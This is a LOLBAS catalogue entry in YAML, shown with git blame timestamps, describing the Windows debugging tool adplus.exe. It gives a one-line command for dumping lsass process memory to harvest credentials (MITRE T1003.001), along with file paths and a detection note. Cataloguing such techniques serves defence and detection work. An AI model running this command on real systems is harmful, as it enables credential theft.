LOLBAS/yml/OtherMSBinaries/Adplus.yml

27 lines
849 B
YAML
Raw Normal View History

2021-01-09 08:56:32 +01:00
---
Name: adplus.exe
Description: Debugging tool included with Windows Debugging Tools
Author: mr.d0x
Created: 2021-09-01
2021-01-09 08:56:32 +01:00
Commands:
- Command: adplus.exe -hang -pn lsass.exe -o c:\users\mr.d0x\output\folder -quiet
Description: Creates a memory dump of the lsass process
Usecase: Create memory dump and parse it offline
2021-01-09 09:00:05 +01:00
Category: Dump
2021-01-09 08:56:32 +01:00
Privileges: SYSTEM
2021-11-05 21:35:58 +01:00
MitreID: T1003.001
2021-01-09 08:56:32 +01:00
OperatingSystem: All Windows
Full_Path:
- Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\adplus.exe
- Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\adplus.exe
2021-11-05 19:58:26 +01:00
Code_Sample:
- Code:
Detection:
- IOC: As a Windows SDK binary, execution on a system may be suspicious
2021-01-09 08:56:32 +01:00
Resources:
2021-01-22 12:33:58 +01:00
- Link: https://blog.thecybersecuritytutor.com/adplus-debugging-tool-lsass-dump/
2021-01-09 08:56:32 +01:00
Acknowledgement:
- Person: mr.d0x
Handle: '@mrd0x'
2021-01-09 09:00:05 +01:00
---